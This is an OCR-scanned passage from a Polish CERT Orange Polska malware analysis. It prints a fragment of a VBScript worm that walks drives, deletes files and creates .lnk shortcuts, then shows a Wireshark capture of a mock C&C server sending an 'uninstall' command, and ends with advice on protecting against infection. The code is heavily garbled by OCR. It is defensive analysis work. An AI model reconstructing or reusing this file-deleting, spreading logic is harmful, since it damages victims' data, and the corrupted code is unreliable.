runt” & split (installname,”.") {0)

fileaystemokj.deletefile startup & installname ,true
filesystemobj.deletefile wacript.scriptfullname ,true

".")}}) < "lnk" then

" & filename({0) & ".lnk" )

" & file.name)

" ) .subfolders

for each drive in filesystemck].drives
if drive.isready = true then
if driwve.freespace > 0 then
[F]if driwve.driwvetype = 1 then
=] for each file in filesystemobj.getfolder ( driwve.path & "' ").files
0N €rror resume next
=l if instr (file.name,”.") then
= if lcase (split(file.name, ".") (ubound({split({file.name,
file.attributes = 0
— if ucase (file.name) <> ucase (installname) then
filename = split(file.name,”.")
- fileaystemokj.deletefile (drive.path & ™
= elae
- filesystemobj.deletefile (driwve.path & ™
- end IL
= elae
- filesystemobj.deletefile (file.path)
- end if
- end if
next
— for each folder in filesystemobk].getfolder( drive.path &
j? folder.attributes = 0
next
end if
end if
end if
next
wscript.quit
end sub

Po wydaniu spreparowanego zadania wirus zostat odinstalowany z komputera, co pokazuje ponizsza

przechwycona komunikacja sieciowa ze spreparowanym na potrzeby analizy C&C.

M Wireshark - Pakict 7784 - wireshark_02827132-FET6-451C-B47C-BODEDFC3DAAS_20170215131448_o00730

(B8 E=R =2

Window size value: 256
[Calculated window size: 65536]

[window size scaling factor: 256]
Checksum: @x1836 [unverified]
[Checksum Status: Unverified]
Urgent pointers @

> [SEQ/ACK analysis]
TCP segment data (9 bytes)

4 [2 Reassembled TCP Segments (112 bytes): #7783(103), #7784(9)]
[Frame: 7783, payload: @-102 (163 bytes)]
Frame: 7784, payload: 183-111 (9 bytes
[Segment count: 2]

[Reassembled TCP length: 112]
[Reassembled TCP Data: 12¢31 ..

4 Hypertext Transfer Protocol

4 HTTP/1.1 200 OK\r\n
4 [Expert Info (Chat/Sequence): HTTP/1.1 288 OK\r\n]
[HTTP/1.1 288 OK\r\n]
[Severity level: Chat]
[Group: Sequence]
Request Version: HTTP/1.1
Status Code: 200
Response Phrase: OK
Connection: close\r\n
Content-Type: text/html\r\n
> Content-Length: 9\r\n
Server: Indy/9.0.18\r\n
\rin
[HTTP response 1/1]
[Time since request: 0.696665060 seconds]
Request in frame: 7782]
Eile Data: 9 by

4 Line-based text data: text/html
uninstall

08 0@ 27 62 8c 71 96 00
00 31 be 3 40 00 30 06
02 0F 00 50 c4 o5 99 d6
0939 @1 08 18 36 00 00 75 6e

27 8 61 ba @8 €0 45 00
00 00 ba 00 02 04 Ga 00
26 71 o 54 db 8f 50 19
69 68 73 74 61 6C 6C

...6..un install

Frame (63bytes) | Reassembled TCP (112bytes) |

Noi: 7784 - Times 1369, 337871 | Source: 10,0.2:4 - Deschation: 10,0255 + Pococol; HTTP  Lengthy 63 - Infor MTTP/1.1 200 OK (texcham)
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Rekomendacja

CERT Orange Polska stanowczo zaleca uzywanie oprogramowania antywirusowego i jego statg
aktualizacje, ktére z duzym prawdopodobienstwem pomoze unikngé kolejnych infekcji ztosliwym
oprogramowaniem i/lub pomoze zminimalizowa¢ skutki infekcji. Zaleca rdéwniez stosowanie
oprogramowania typu firewall, ktérego zadaniem jest zablokowanie niechcianego ruchu sieciowego.

Warto podkreslic po raz kolejny, ze nigdy nie nalezy otwiera¢ zatgcznikdéw z maili, co do ktérych
pochodzenia nie mamy 100% pewnosci. Jesli nagle otrzymujesz drogg elektroniczng informacje o paczce,
ktorej nigdy nie zamawiates$, wygranej w loterii w ktorej nie brates udziatu, fakturze od operatora z ktérego
ustug nie korzystasz, rachunku za cos$ czego nie kupowates itp. warto przezwyciezy¢ ciekawos¢ i taki mail
po prostu od razu usung¢, lub przesta¢ do nas na adres: cert.opl@orange.com

W przypadku tej kampanii, uzytkownicy Orange, ktdrzy dostali ztosliwy zatacznik i go uruchomili sg
chronieni przed wyciekiem swoich danych za pomocg CyberTarczy.

W przypadku braku oprogramowania antywirusowego zalecana jest rowniez instalacja
i przeskanowanie swojego systemu operacyjnego pod katem ztosliwego oprogramowania, ktére moze
znajdowac sie na komputerach uzytkownikow, ktérzy uruchomili analizowany malware.
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